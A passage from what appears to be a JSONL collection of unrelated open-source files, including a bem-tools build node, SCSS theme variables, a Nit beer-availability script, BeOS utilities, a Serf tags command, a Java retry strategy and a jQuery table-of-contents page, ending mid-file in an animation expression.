this.bundlesLevel.getTech(o.techName, o.techPath);\n this.techPath = this.tech.getTechPath();\n this.tech.setContext(new Context(this.bundlesLevel, { level: this.levels }));\n\n this.__base(U.extend({ path: this.__self.createId(o) }, o));\n\n },\n\n isValid: function() {\n\n if (this.tech.API_VER === 2) return false;\n\n var _this = this;\n\n return Q.when(this.__base(), function(valid){\n if (!valid) return false;\n\n var meta = _this.getMetaNode();\n if (!_this.ctx.arch.hasNode(meta)) return false;\n\n return Q.all([\n _this.readMeta(),\n _this.lastModified(),\n meta.lastModified()\n ])\n .spread(function(meta, nodeLastModified, metaLastModified) {\n\n // expired if <tech>.meta.js is invalid\n if (meta === null) return false;\n\n // expired if .<tech>.meta.js is newer than .<tech>\n if (metaLastModified > nodeLastModified) return false;\n\n // Possible values: promised, callback, sync\n var strategy = process.env.BEM_IO_STRATEGY_BUILD_IS_VALID || process.env.BEM_IO_STRATEGY;\n\n ['promised', 'callback', 'sync'].indexOf(strategy) !== -1 || (strategy = 'callback');\n LOGGER.fverbose('Using %s strategy in BemBuildNode.isValid()', strategy);\n\n if (strategy === 'promised') {\n\n // Promised build result validity check\n return (function() {\n\n var valid = true;\n return Q.all(meta.map(function(m) {\n\n return QFS.lastModified(PATH.resolve(_this.root, m))\n .then(function(d) {\n if (d > nodeLastModified) valid = false;\n })\n .fail(function() {\n valid = false;\n });\n\n }))\n .then(function() {\n return valid;\n });\n\n })();\n\n }\n\n else if (strategy === 'callback') {\n\n // Async build result validity check\n return (function() {\n\n var d = Q.defer(),\n total = meta.length,\n count = 0;\n\n if (total === 0) d.resolve(true);\n\n meta.forEach(function(path) {\n\n FS.stat(PATH.resolve(_this.root, path), function(err, stat) {\n\n count++;\n\n if (err || stat.mtime.getTime() > nodeLastModified) d.resolve(false);\n if (count < total) return;\n d.resolve(true);\n\n });\n\n });\n\n return d.promise;\n\n })();\n\n }\n\n // Sync build result validity check\n // See https://github.com/bem/bem-tools/issues/157\n for (var i = 0, l = meta.length; i < l; i++) {\n if (FS.statSync(PATH.resolve(_this.root, meta[i])).mtime.getTime() > nodeLastModified) return false;\n }\n\n return true;\n\n });\n });\n },\n\n make: function() {\n var opts = {\n outputLevel: this.bundlesLevel.dir,\n level: this.levelsPaths,\n declaration: PATH.resolve(this.root, this.declPath),\n tech: this.techPath,\n outputName: PATH.resolve(this.root, this.output),\n force: this.ctx.force,\n root: this.root\n };\n\n this.log('bem.build(forked=%j, %s)', this.forked, JSON.stringify(opts, null, 4));\n\n if (!this.forked) {\n opts.level = this.levels;\n return BEM.build(opts);\n }\n\n opts.forceCache = true;\n // TODO: generalize forking of bem commands\n var _this = this,\n d = Q.defer(),\n worker = CP.fork(PATH.join(__dirname, 'workers', 'bembuild.js'), [], { env: process.env }),\n handler = function(m) {\n (m.code !== 0)? d.reject(m.msg) : d.resolve();\n };\n\n /* jshint -W109 */\n worker.on('exit', function(code) {\n LOGGER.fdebug(\"Exit of bembuild worker for node '%s' with code %s\", _this.output, code);\n handler({ code: code });\n });\n\n worker.on('message', function(m) {\n LOGGER.fdebug(\"Message from bembuild worker for node '%s': %j\", _this.output, m);\n handler(m);\n });\n /* jshint +W109 */\n\n worker.send(opts);\n\n return d.promise;\n },\n\n readMeta: function() {\n return this._readMeta(this.getMetaNode().getPath());\n },\n\n _readMeta: function(path) {\n\n path = PATH.resolve(this.root, path);\n var _this = this,\n relativize = getPathRelativizer(this.root);\n\n return U.readFile(path)\n .then(function(c) {\n\n return VM.runInThisContext(c).map(function(f) {\n return relativize(PATH.resolve(PATH.dirname(path), f));\n }, _this);\n\n })\n .fail(function() {\n return null;\n });\n\n },\n\n getMetaNode: function() {\n\n var node = this.metaNode || (this.metaNode = new exports.BemBuildMetaNode({\n root: this.root,\n bundlesLevel: this.bundlesLevel,\n levels: this.levelsPaths,\n declPath: this.declPath,\n techPath: this.techPath,\n techName: this.techName,\n output: this.output,\n forked: this.forked\n }));\n\n node.buildNode = this;\n\n return node;\n\n },\n\n /**\n * Get files minimum mtime in milliseconds or -1 in case of any file doesn't exist.\n *\n * @return {Promise * Number}\n */\n lastModified: function() {\n\n return Q.all(this.tech\n .getPaths(PATH.resolve(this.root, this.output), this.tech.getBuildSuffixes())\n .map(function(path) {\n\n return QFS.lastModified(path)\n .fail(function() {\n return -1;\n });\n\n }))\n .spread(Math.min);\n\n },\n\n /**\n * clean() implementation.\n * @return {Promise * Undefined}\n */\n clean: function() {\n\n var _this = this;\n return Q.all(this.tech\n .getPaths(PATH.resolve(this.root, this.output), this.tech.getBuildSuffixes())\n .map(function(path) {\n\n return QFS.remove(path)\n .then(function() {\n LOGGER.fverbose('[-] Removed %j', path);\n })\n .fail(function() {});\n\n }))\n .then(function() {\n\n return U.removePath(_this.getPath())\n .then(function() {\n LOGGER.fverbose('[-] Removed %j', _this.getId());\n })\n .fail(function() {});\n\n });\n\n },\n\n getFiles: function() {\n return this.tech.getPaths(this.output, this.tech.getBuildSuffixes());\n },\n\n getDependencies: function() {\n\n var deps = this.tech.getDependencies().map(function(d) {\n return this.bundlesLevel.getPath(this.output, d);\n }, this);\n\n deps.push(this.declPath);\n return deps;\n\n }\n\n}, {\n\n createId: function(o) {\n\n return o.bundlesLevel\n .getTech(o.techName, o.techPath)\n .getPath(o.output);\n\n }\n\n});\n\nvar BemBuildMetaNodeName = exports.BemBuildMetaNodeName = 'BemBuildMetaNode';\n\n/* jshint -W106 */\nexports.__defineGetter__(BemBuildMetaNodeName, function() {\n return registry.getNodeClass(BemBuildMetaNodeName);\n});\n/* jshint +W106 */\n\nregistry.decl(BemBuildMetaNodeName, BemBuildNodeName, {\n\n /**\n * Overriden.\n *\n * Constructs new BemBuildMetaNode instance and changes the path property with `.bem/cache` prefix.\n *\n * @param {Object} o\n */\n __constructor: function(o) {\n this.__base(o);\n this.path = PATH.join('.bem', 'cache', this.path);\n },\n\n isValid: function() {\n\n var ctx = this.ctx;\n\n // expired in case of clean or other methods\n if (ctx.method && ctx.method !== 'make') return false;\n\n var decl = U.readDecl(PATH.resolve(this.root, this.declPath)),\n tech = this.tech,\n techv2 = !!this.tech.getBuildPaths,\n relativize = getPathRelativizer(this.root),\n prefixes = !techv2? tech.getBuildPrefixes(tech.transformBuildDecl(decl), this.levels): Q.resolve([]),\n filteredPaths = tech.filterPrefixes(prefixes, tech.getSuffixes()).invoke('map', relativize),\n savedPaths = this.readMeta();\n\n ctx.prefixes = prefixes;\n ctx.filteredPaths = filteredPaths;\n ctx.savedPaths = savedPaths;\n\n // expired if build is forced; must return after filling the ctx with promises\n if (ctx.force) return false;\n\n var _this = this;\n return Q.all([filteredPaths, savedPaths])\n .spread(function(filteredPaths, savedPaths) {\n if (savedPaths === null) return false;\n filteredPaths = filteredPaths || [];\n\n var diff = [].concat(_.difference(savedPaths, filteredPaths),\n _.difference(filteredPaths, savedPaths));\n\n LOGGER.fdebug('*** isValid(%j)=%j', _this.getId(), !diff.length);\n LOGGER.fdebug('*** diff=%j', diff);\n LOGGER.fdebug('*** savedPaths=%j', savedPaths);\n LOGGER.fdebug('*** filteredPaths=%j', filteredPaths);\n\n return !diff.length;\n });\n },\n\n make: function() {\n var _this = this,\n ctx = this.ctx,\n arch = ctx.arch;\n\n return Q.all([ctx.filteredPaths, ctx.savedPaths])\n .spread(function(filteredPaths, savedPaths) {\n\n return arch.withLock(_this.alterArch(filteredPaths, savedPaths), _this)\n .then(function() {\n\n // write file list to .meta.js\n var relativize = getPathRelativizer(PATH.dirname(_this.path)),\n paths = filteredPaths.map(function(f) {\n return relativize(f);\n });\n\n U.mkdirs(PATH.dirname(_this.getPath()));\n return QFS.write(_this.getPath(), '(' + JSON.stringify(paths, null, 4) + ')');\n\n });\n\n });\n },\n\n alterArch: function(filteredPaths, savedPaths) {\n\n return function() {\n\n var ctx = this.ctx,\n arch = ctx.arch,\n buildNodeId = this.buildNode.getId();\n\n\n savedPaths = savedPaths || [];\n filteredPaths = filteredPaths || [];\n\n // find difference with array read from file and filteredPaths\n var obsolete = _.difference(savedPaths, filteredPaths);\n\n // clean obsolete dependencies from arch\n obsolete.forEach(function(p) {\n if (!arch.hasNode(p)) return;\n\n // remove link with p\n arch.unlink(p, buildNodeId);\n\n // when p has no other dependent nodes, remove it from arch\n if (!arch.getParents(p).length) arch.removeNode(p);\n });\n\n // create nodes for all existent paths to blocks files: FileNode(path)\n filteredPaths.forEach(function(p) {\n arch.hasNode(p) || arch.addNode(new FileNode.FileNode({\n root: this.root,\n path: p\n }));\n // link created nodes to BemBuildNode corresponding to this node\n ctx.plan.link(p, buildNodeId);\n }, this);\n\n return Q.when(this.takeSnapshot('after alterArch BemBuildMetaNode ' + this.getId()));\n };\n\n },\n\n readMeta: function() {\n return this._readMeta(this.getPath());\n },\n\n /**\n * Get file mtime in milliseconds or -1 in case of file doesn't exist.\n *\n * @return {Promise * Number}\n */\n lastModified: function() {\n\n // TODO: should really use link to GeneratedFileNode.prototype.lastModified() here\n return QFS.lastModified(this.getPath())\n .fail(function() {\n return -1;\n });\n\n },\n\n /**\n * clean() implementation.\n * @return {Promise * Undefined}\n */\n clean: function() {\n\n // TODO: should really use link to GeneratedFileNode.prototype.clean() here\n var _this = this;\n return QFS.remove(this.getPath())\n .then(function() {\n LOGGER.fverbose('[-] Removed %j', _this.getId());\n })\n .fail(function() {});\n\n },\n\n getDependencies: function() {\n return [this.declPath];\n }\n\n}, {\n\n createId: function(o) {\n return this.__base(o) + '.meta.js';\n }\n\n});\n\nfunction getPathRelativizer(from) {\n return function(p) {\n return PATH.relative(from, p);\n };\n}\n"} {"text": "$icon-font-path: \"/bower_components/bootstrap-sass-official/vendor/assets/fonts/bootstrap/\";\n\n// http://colorschemedesigner.com/#00428sOsOFfFf\n\n$brand-primary: #007DA1;\n$brand-success: #0A95BB;\n$brand-danger: #AA3C2F;\n$brand-warning: #C66025;\n$brand-info: #666;\n$brand-neutral: #666;\n\n\n$brand-primary: #167D2E;\n$brand-success: #17A139;\n$brand-danger: #D4402A;\n$brand-warning: #D98915;\n$brand-info: #666;\n$brand-neutral: #666;\n\n$contrast: 10%;\n\n$brand-primary-dark: darken($brand-primary, $contrast); //#0165BD; \n$brand-danger-dark: darken($brand-danger, $contrast);\n$brand-success-dark: darken($brand-success, $contrast);\n$brand-warning-dark: darken($brand-warning, $contrast);\n$brand-info-dark: darken($brand-info, $contrast);\n$brand-neutral-dark: #222;\n\n$brand-neutral-vdark: #111;\n\n$brand-neutral-bright: #888;\n\n\n$body-bg: #000;\n$text-color: #eee;\n$headings-color: $brand-primary;\n$text-color-dark: #444;\n$text-muted: $brand-neutral;\n\n$font-family-sans-serif: 'Roboto Condensed', Helvetica, Arial, sans-serif;\n\n$headings-font-family: $font-family-sans-serif;\n$headings-font-weight: 700;\n\n$padding-base-vertical: 10px;\n$padding-base-horizontal: 15px;\n$padding-large-vertical: 15px;\n$padding-large-horizontal: 30px;\n\n\n$border-color: $brand-neutral-dark;\n$border-width: 4px;\n$border-radius-base: 0px;\n$border-radius-large: 0px;\n$border-radius-small: 0px;\n\n// states \n$state-danger-bg: $brand-danger;\n$state-danger-text: $text-color;\n$state-danger-border: $brand-danger-dark;\n$state-warning-bg: $brand-warning;\n$state-warning-text: $text-color;\n$state-warning-border: $brand-warning-dark;\n$state-info-bg: $brand-info;\n$state-info-text: $text-color;\n$state-info-border: $brand-info-dark;\n$state-success-bg: $brand-success;\n$state-success-text: $text-color;\n$state-success-border: $brand-success-dark;\n\n\n// wells\n$well-bg: rgba(0,0,0,0.2);\n\n// buttons\n$btn-default-color: $text-color;\n$btn-default-bg: $body-bg;\n$btn-default-border: lighten($body-bg, 22%);\n\n// popovers\n$popover-bg: $body-bg;\n$popover-arrow-color: $body-bg;\n$popover-arrow-width: 6px;\n$popover-max-width: 400px;\n\n// modals\n$modal-content-bg: $body-bg;\n$modal-header-border-color: lighten($body-bg, 10%);\n\n// panels\n$panel-bg: $body-bg;\n$panel-header-bg: $brand-primary;\n$panel-header-border: darken($panel-header-bg, $contrast);\n$panel-header-color: $text-color;\n$panel-footer-bg: $brand-neutral-dark;\n$panel-footer-border: $brand-neutral-vdark;\n$panel-footer-color: $text-color;\n$panel-default-text: $text-color;\n\n// code\n$code-color: inherit;\n$code-bg: fade-out($text-color, 0.8);\n\n// thumbnails\n$thumbnail-border: $border-color;\n$thumbnail-bg: $body-bg;\n$thumbnail-matte: $brand-neutral-dark;\n$thumbnail-padding: 1px;\n\n@import \"_bootstrap.scss\";\n@import \"_icomoon.scss\";\n\n$navbar-height: 40px;\n$navbar-bg: $body-bg;\n\n$leftpane-width: 375px;\n$leftpane-bg: $brand-neutral-vdark;\n\n$about-bg: transparent; //$brand-primary-dark;\n\n$gallery-width: 70px;\n$gallery-bg: darken($leftpane-bg, 15%);\n\n$draw-sm-size: 640px;\n$draw-lg-size: 980px;\n$draw-pane-width: 320px;\n$draw-pane-height: 50px;\n\n$facebook-color: desaturate(darken(#3B5998, $contrast), $contrast);\n$google-color: desaturate(darken(#D74635, $contrast), $contrast);\n$twitter-color: desaturate(darken(#00C3F8, $contrast), $contrast);\n\n\n$media-tiny: \"(max-width: #{$screen-xs-max})\";\n$media-small: \"(min-width: #{$screen-sm-min}) and (max-width: #{$screen-sm-max})\";\n$media-medium: \"(min-width: #{$screen-md-min}) and (max-width: #{$screen-md-max})\";\n$media-large: \"(min-width: #{$screen-lg-min})\";\n\n$media-phone: $media-tiny;\n$media-tablet: $media-small;\n$media-mobile: \"(max-width: #{$screen-xs-max})\";\n$media-desktop: \"(min-width: #{$screen-desktop})\";\n\n$media-full: \"(min-width: #{$screen-lg-min})\";\n\n\n@import \"_mixins.scss\";\n@import \"_common.scss\";\n@import \"_animations.scss\";\n@import \"_elements.scss\";\n@import \"_rwd.scss\";\n@import \"_poor.scss\";\n"} {"text": "# This file is part of NIT ( http://www.nitlanguage.org ).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport opts\n\nimport benitlux_model\nimport benitlux_db\nimport correct\n\n# Sort beers by their availability\nclass BeerComparator\n\tsuper Comparator\n\n\t# 1st sorting priority\n\tvar map1: HashMap[COMPARED, Comparable]\n\n\t# 2nd sorting priority\n\tvar map2: HashMap[COMPARED, Comparable]\n\n\t# Key compare\n\tredef fun compare(a, b) do return if map1[a] == map1[b] then\n\t map2[a] <=> map2[b]\n\t else map1[a] <=> map1[b]\nend\n\nredef class Text\n\n\t# Get the background for the date `self` of format `yyyy-mm-dd`\n\tprivate fun date_to_back: String\n\tdo\n\t\tassert length == 10\n\n\t\tvar m = substring(5, 2)\n\t\tvar month = m.to_i\n\t\tif [4..9].has(month) then return \" \"\n\t\treturn \"-\"\n\tend\nend\n\nvar opts = new OptionContext\nvar opt_columns = new OptionInt(\"Number of columns for the graph\", 70, \"-c\")\nopts.add_option(opt_columns)\n\nopts.parse(args)\nvar rest = opts.rest\n\n# Use the local DB\nvar db_path = \"benitlux_sherbrooke.db\"\nif rest.not_empty then db_path = rest.first\nvar db = new BenitluxDB.open(db_path)\n\n# All known beers\nvar beers = db.beers\nassert beers != null\nprint \"{beers.length} known beers\"\n\n# All days\nvar all_days = db.days\nassert all_days != null\nprint \"{all_days.length} days, from {all_days.first} to {all_days.last}\"\n\n# Beers availability by days\nvar beer2days = new HashMap[Beer, Array[String]]\nfor beer in beers do\n\tvar days = db.days(beer)\n\tassert days != null\n\tdefault_comparator.sort days\n\tbeer2days[beer] = days\nend\n\n# Sort beers by their availability and first date of appearance\nvar availability = new HashMap[Beer, Int]\nvar appearances = new HashMap[Beer, String]\nfor beer in beers do\n\tvar days = beer2days[beer]\n\tif days.not_empty then\n\t\tappearances[beer] = days.first\n\t\tavailability[beer] = -days.length # Opposite for inverse sort\n\telse\n\t\tappearances[beer] = \"err\"\n\t\tavailability[beer] = 1\n\tend\nend\n\n# Sort by availability then appearance\nvar sorter: Comparator = new BeerComparator(availability, appearances)\nsorter.sort beers\n\n# List all beers\nprint \"\\nBeers:\"\nfor beer in beers do\n\tvar days = beer2days[beer]\n\n\t# Skip never-available beers, usually name errors\n\tif days.is_empty then continue\n\n\tvar from = days.first\n\tif from == all_days.first then from = \" ... \"\n\n\tvar to = days.last\n\tif to == all_days.last then to = \" ... \"\n\n\tprint \"- {days.length}\\t{from} {to}\\t{beer.name}: {beer.desc}\"\nend\n\n# Sort by appearance then availability\nsorter = new BeerComparator(appearances, availability)\nsorter.sort beers\n\n# Display the batch graph\nprint \"\\nAvailability graph:\"\n\n# Compute `column_width` days from all the known days\nvar column_width = opt_columns.value\nvar days_sample = [for i in [1..column_width[ do all_days[i*all_days.length/column_width]]\nvar weeks_sample = new Array[Array[String]]\n\n# Gather columns headers for each month\nvar headers = new Array[nullable String]\nvar iter = all_days.iterator\niter.start\nvar pre = \"\"\nfor day in days_sample do\n\t# Prepare headers\n\tvar new_pre = day.substring(0, 7)\n\n\tif not day.has_prefix(pre) then\n\t\theaders.add new_pre\n\telse headers.add null\n\n\tpre = new_pre\n\n\t# Fill weeks\n\tvar week = new Array[String]\n\tweeks_sample.add week\n\twhile iter.is_ok do\n\t\tvar item = iter.item\n\t\tif item == day then break\n\t\tweek.add item\n\t\titer.next\n\tend\nend\n\n# Draw the headers from top to bottom so they look like:\n#\n# ~~~\n# 2\n# 0\n# 1\n# 5\n# -\n# 0\n# 1\n# ~~~\nfor l in 7.times do\n\tfor header in headers do\n\t\tif header != null then\n\t\t\tprintn header[l]\n\t\telse printn \" \"\n\tend\n\tprint \"\"\nend\n\nfor beer in beers do\n\tvar days = beer2days[beer]\n\n\t# Skip never-available beers, usually name errors\n\tif days.is_empty then continue\n\n\t# Print a line looking like: \" ############ ###### -----########- Beer\"\n\tvar last = null\n\t#var iter = days.iterator\n\tfor week in weeks_sample do\n\t\tprintn if days.has_all(week) then\n\t\t \"#\"\n\t\t else if days.has_any(week) then\n\t\t \":\"\n\t\t else week.first.date_to_back\n\tend\n\tprint \" {beer.name}\"\nend\n\ndb.close\n"} {"text": "/*****************************************************************************/\n// BeUtils.cpp\n//\n// Version: 1.0.0d1\n//\n// Several utilities for writing applications for the BeOS. It are small\n// very specific functions, but generally useful (could be here because of a\n// lack in the APIs, or just sheer lazyness :))\n//\n// Author\n// Ithamar R. Adema\n// Michael Pfeiffer\n//\n// This application and all source files used in its construction, except \n// where noted, are licensed under the MIT License, and have been written \n// and are:\n//\n// Copyright (c) 2001, 2002 OpenBeOS Project\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the \"Software\"),\n// to deal in the Software without restriction, including without limitation\n// the rights to use, copy, modify, merge, publish, distribute, sublicense, \n// and/or sell copies of the Software, and to permit persons to whom the \n// Software is furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included \n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n// DEALINGS IN THE SOFTWARE.\n/*****************************************************************************/\n\n#include <Application.h>\n#include <Bitmap.h>\n#include <Messenger.h>\n#include <Resources.h>\n#include <Roster.h>\n#include <String.h>\n\n#include \"BeUtils.h\"\n\n\n// ---------------------------------------------------------------\n// TestForAddonExistence\n//\n// [Method Description]\n//\n// Parameters:\n//\n// Returns:\n// ---------------------------------------------------------------\nstatus_t TestForAddonExistence(const char* name, directory_which which, const char* section, BPath& outPath)\n{\n\tstatus_t err = B_OK;\n\t\n\tif ((err=find_directory(which, &outPath)) == B_OK &&\n\t\t(err=outPath.Append(section)) == B_OK &&\n\t\t(err=outPath.Append(name)) == B_OK)\n\t{\n\t\tstruct stat buf;\n\t\terr = stat(outPath.Path(), &buf);\n\t}\n\t\n\treturn err;\n}\n\n// Implementation of AutoReply\n\nAutoReply::AutoReply(BMessage* sender, uint32 what)\n\t: fSender(sender)\n\t, fReply(what) \n{\n}\n\nAutoReply::~AutoReply() {\n\tfSender->SendReply(&fReply);\n\tdelete fSender;\n}\n\nbool MimeTypeForSender(BMessage* sender, BString& mime) {\n\tBMessenger msgr = sender->ReturnAddress();\n\tteam_id team = msgr.Team();\n\tapp_info info;\n\tif (be_roster->GetRunningAppInfo(team, &info) == B_OK) {\n\t\tmime = info.signature;\n\t\treturn true;\n\t}\n\treturn false;\n}\n"} {"text": "Resources:\n HtmlFunction:\n Type: AWS::Serverless::Function\n Properties:\n CodeUri: s3://sam-demo-bucket/member_portal.zip\n Handler: index.gethtml\n Runtime: nodejs12.x\n Events:\n GetHtml:\n Type: Api\n Properties:\n RestApiId: HtmlApi\n Path: /{prameter}/resources\n Method: get\n\n HtmlApi:\n Type: AWS::Serverless::Api\n Properties:\n StageName: Prod\n DefinitionUri: s3://sam-demo-bucket/webpage_swagger.json\n"} {"text": "package command\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/serf/cmd/serf/command/agent\"\n\t\"github.com/mitchellh/cli\"\n)\n\n// TagsCommand is an interface to dynamically add or otherwise modify a\n// running serf agent's tags.\ntype TagsCommand struct {\n\tUi cli.Ui\n}\n\nvar _ cli.Command = &TagsCommand{}\n\nfunc (c *TagsCommand) Help() string {\n\thelpText := `\nUsage: serf tags [options] ...\n\n Modifies tags on a running Serf agent.\n\nOptions:\n\n -rpc-addr=127.0.0.1:7373 RPC Address of the Serf agent.\n -rpc-auth=\"\" RPC auth token of the Serf agent.\n -set key=value Creates or modifies the value of a tag\n -delete key Removes a tag, if present\n`\n\treturn strings.TrimSpace(helpText)\n}\n\nfunc (c *TagsCommand) Run(args []string) int {\n\tvar tagPairs []string\n\tvar delTags []string\n\tcmdFlags := flag.NewFlagSet(\"tags\", flag.ContinueOnError)\n\tcmdFlags.Usage = func() { c.Ui.Output(c.Help()) }\n\tcmdFlags.Var((*agent.AppendSliceValue)(&tagPairs), \"set\",\n\t\t\"tag pairs, specified as key=value\")\n\tcmdFlags.Var((*agent.AppendSliceValue)(&delTags), \"delete\",\n\t\t\"tag keys to unset\")\n\trpcAddr := RPCAddrFlag(cmdFlags)\n\trpcAuth := RPCAuthFlag(cmdFlags)\n\tif err := cmdFlags.Parse(args); err != nil {\n\t\treturn 1\n\t}\n\n\tif len(tagPairs) == 0 && len(delTags) == 0 {\n\t\tc.Ui.Output(c.Help())\n\t\treturn 1\n\t}\n\n\tclient, err := RPCClient(*rpcAddr, *rpcAuth)\n\tif err != nil {\n\t\tc.Ui.Error(fmt.Sprintf(\"Error connecting to Serf agent: %s\", err))\n\t\treturn 1\n\t}\n\tdefer client.Close()\n\n\ttags, err := agent.UnmarshalTags(tagPairs)\n\tif err != nil {\n\t\tc.Ui.Error(fmt.Sprintf(\"Error: %s\", err))\n\t\treturn 1\n\t}\n\n\tif err := client.UpdateTags(tags, delTags); err != nil {\n\t\tc.Ui.Error(fmt.Sprintf(\"Error setting tags: %s\", err))\n\t\treturn 1\n\t}\n\n\tc.Ui.Output(\"Successfully updated agent tags\")\n\treturn 0\n}\n\nfunc (c *TagsCommand) Synopsis() string {\n\treturn \"Modify tags of a running Serf agent\"\n}\n"} {"text": "#ifdef BLOG_CURRENT_CHANNEL\n#undef BLOG_CURRENT_CHANNEL\n#endif\n#define BLOG_CURRENT_CHANNEL BLOG_CHANNEL_BLockReactor\n"} {"text": "from apps.common.coininfo import COINS\n\n\ndef by_shortcut(shortcut):\n for c in COINS:\n if c.coin_shortcut == shortcut:\n return c\n raise ValueError('Unknown coin shortcut \"%s\"' % shortcut)\n\n\ndef by_name(name):\n for c in COINS:\n if c.coin_name == name:\n return c\n raise ValueError('Unknown coin name \"%s\"' % name)\n\n\ndef by_slip44(slip44):\n for c in COINS:\n if c.slip44 == slip44:\n return c\n raise ValueError(\"Unknown coin slip44 index %d\" % slip44)\n"} {"text": "/*\n * Copyright (c) 2019 - now, Eggroll Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.webank.eggroll.core.retry.impl.stop;\n\nimport com.google.common.base.Preconditions;\nimport com.webank.eggroll.core.retry.AttemptContext;\nimport com.webank.eggroll.core.retry.StopStrategy;\nimport javax.annotation.concurrent.Immutable;\n\n@Immutable\npublic final class StopAfterMaxDelayStrategy implements StopStrategy {\n\n private final long maxDelay;\n\n public StopAfterMaxDelayStrategy(long maxDelay) {\n Preconditions.checkArgument(maxDelay >= 0, \"maxDelay must >= 0\");\n this.maxDelay = maxDelay;\n }\n\n @Override\n public boolean shouldStop(AttemptContext<?> failedAttemptContext) {\n return failedAttemptContext.getElapsedTimeSinceFirstAttempt() >= maxDelay;\n }\n}\n"} {"text": "<!-- Generate a nice TOC -->\n<script src=\"https://code.jquery.com/jquery-3.0.0.js\"></script>\n<script src=\"https://code.jquery.com/jquery-migrate-3.1.0.js\"></script>\n<script src=\"https://code.jquery.com/ui/1.12.1/jquery-ui.min.js\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery.tocify/1.9.0/javascripts/jquery.tocify.min.js\"></script>\n\n<!-- We do not need the tocify CSS because the asciidoc CSS already provides most of what we neeed -->\n\n<style>\n .tocify-header {\n font-style: italic;\n }\n\n .tocify-subheader {\n font-style: normal;\n font-size: 90%;\n }\n\n .tocify ul {\n margin: 0;\n }\n\n .tocify-focus {\n color: #7a2518;\n background-color: rgba(0, 0, 0, 0.1);\n }\n\n .tocify-focus > a {\n color: #7a2518;\n }\n</style>\n\n<script type=\"text/javascript\">\n $(function () {\n // Add a new container for the tocify toc into the existing toc so we can re-use its\n // styling\n $(\"#toc\").append(\"<div id='generated-toc'></div>\");\n $(\"#generated-toc\").tocify({\n extendPage: true,\n context: \"#content\",\n highlightOnScroll: true,\n hideEffect: \"slideUp\",\n // Use the IDs that asciidoc already provides so that TOC links and intra-document\n // links are the same. Anything else might confuse users when they create bookmarks.\n hashGenerator: function(text, element) {\n return $(element).attr(\"id\");\n },\n // Smooth scrolling doesn't work properly if we use the asciidoc IDs\n smoothScroll: false,\n // Set to 'none' to use the tocify classes\n theme: \"none\",\n // Handle book (may contain h1) and article (only h2 deeper)\n selectors: $( \"#content\" ).has( \"h1\" ).length > 0 ? \"h1,h2,h3,h4,h5\" : \"h2,h3,h4,h5\",\n ignoreSelector: \".discrete\"\n });\n\n // Switch between static asciidoc toc and dynamic tocify toc based on browser size\n // This is set to match the media selectors in the asciidoc CSS\n // Without this, we keep the dynamic toc even if it is moved from the side to preamble\n // position which will cause odd scrolling behavior\n var handleTocOnResize = function() {\n if ($(document).width() < 768) {\n $(\"#generated-toc\").hide();\n $(\".sectlevel0\").show();\n $(\".sectlevel1\").show();\n }\n else {\n $(\"#generated-toc\").show();\n $(\".sectlevel0\").hide();\n $(\".sectlevel1\").hide();\n }\n }\n\n $(window).resize(handleTocOnResize);\n handleTocOnResize();\n });\n</script>"} {"text": "import BaseExpression from './base';\nimport Property from './basic/property';\nimport { castDate } from '../../../utils/util';\nimport ClusterTime from './aggregation/cluster/ClusterTime';\nimport { linear, globalMin, globalMax, number } from '../expressions';\nimport { checkType, checkFeatureIndependent, clamp, checkMaxArguments, implicitCast } from './utils';\nimport { Fade } from './Fade';\n\nlet waitingForLayer = new Set();\nlet waitingForOthers = new Set();\n\nexport default class AnimationGeneral extends BaseExpression {\n constructor (input, duration = 10, fade = new Fade()) {\n checkMaxArguments(arguments, 3, 'animation');\n duration = implicitCast(duration);\n input = implicitCast(input);\n super({ input, duration, fade });\n this._init();\n }\n _init () {\n const input = this.input;\n const originalInput = input;\n\n if (input.isA(Property) || (input.isA(ClusterTime) && input.type === 'timerange')) {\n this._input = linear(input, globalMin(input), globalMax(input), 'start');\n } else {\n this._input = this.input;\n }\n this.childrenNames = this.childrenNames.filter(x => x === '_input');\n this.childrenNames.push('_input');\n this.childrenNames.push('fade');\n this.childrenNames.push('duration');\n\n this.type = 'number';\n this._originalInput = originalInput;\n this._paused = false;\n this.progress = number(0);\n this.childrenNames.push('progress');\n\n this.expressionName = 'animation';\n\n this.preface = `\n #ifndef ANIMATION\n #define ANIMATION\n\n float animation(float _input, float progress, float duration, float fadeIn, float fadeOut){\n float x = 0.;\n\n // Check for NaN\n if (_input <= 0.0 || 0.0 <= _input){\n x = 1. - clamp(abs(_input - progress) * duration / (_input > progress ? fadeIn: fadeOut), 0., 1.);\n }\n\n return x;\n }\n\n #endif\n `;\n\n this.inlineMaker = inline => `animation(${inline._input}, ${inline.progress}, ${inline.duration}, ${inline.fade.in}, ${inline.fade.out})`;\n\n waitingForLayer.add(this);\n if (!this._paused) 